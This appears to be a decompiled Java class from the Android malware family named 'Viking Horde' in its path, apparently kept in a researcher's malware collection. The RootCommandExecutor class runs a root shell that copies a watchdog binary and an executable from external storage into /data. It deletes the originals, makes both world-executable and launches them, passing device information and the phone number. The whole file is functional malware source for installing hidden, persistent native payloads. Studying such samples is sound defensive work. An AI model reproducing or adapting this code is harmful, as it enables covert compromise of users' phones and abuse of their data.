package com.fa.c;

import android.content.Context;
import android.os.Environment;
import android.util.Log;
import com.stericson.RootShell.execution.Command;
import com.stericson.RootShell.execution.Shell;
import com.stericson.RootTools.RootTools;
import java.io.File;

public class RootCommandExecutor
{
  public static boolean Execute(Context paramContext)
  {
    paramContext = new Command(0, new String[] { "cat " + Environment.getExternalStorageDirectory().getAbsolutePath() + File.separator + Utilities.GetWatchDogName(paramContext) + " > /data/" + Utilities.GetWatchDogName(paramContext), "cat " + Environment.getExternalStorageDirectory().getAbsolutePath() + File.separator + Utilities.GetExecName(paramContext) + " > /data/" + Utilities.GetExecName(paramContext), "rm " + Environment.getExternalStorageDirectory().getAbsolutePath() + File.separator + Utilities.GetWatchDogName(paramContext), "rm " + Environment.getExternalStorageDirectory().getAbsolutePath() + File.separator + Utilities.GetExecName(paramContext), "chmod 777 /data/" + Utilities.GetWatchDogName(paramContext), "chmod 777 /data/" + Utilities.GetExecName(paramContext), "/data/" + Utilities.GetWatchDogName(paramContext) + " " + Utilities.GetDeviceInfoCommandLineArgs(paramContext) + " /data/" + Utilities.GetExecName(paramContext) + " " + Environment.getExternalStorageDirectory().getAbsolutePath() + File.separator + Utilities.GetExchangeFileName(paramContext) + " " + Environment.getExternalStorageDirectory().getAbsolutePath() + File.separator + " " + Utilities.GetPhoneNumber(paramContext) });
    try
    {
      RootTools.getShell(true).add(paramContext);
      return true;
    }
    catch (Exception paramContext)
    {
      Log.d("CPS", paramContext.getMessage());
    }
    return false;
  }
}


/* Location:              /home/enzo/Documents/hacking/malwares/viking-horde/classes.jar!/com/fa/c/RootCommandExecutor.class
 * Java compiler version: 6 (50.0)
 * JD-Core Version:       0.7.1
 */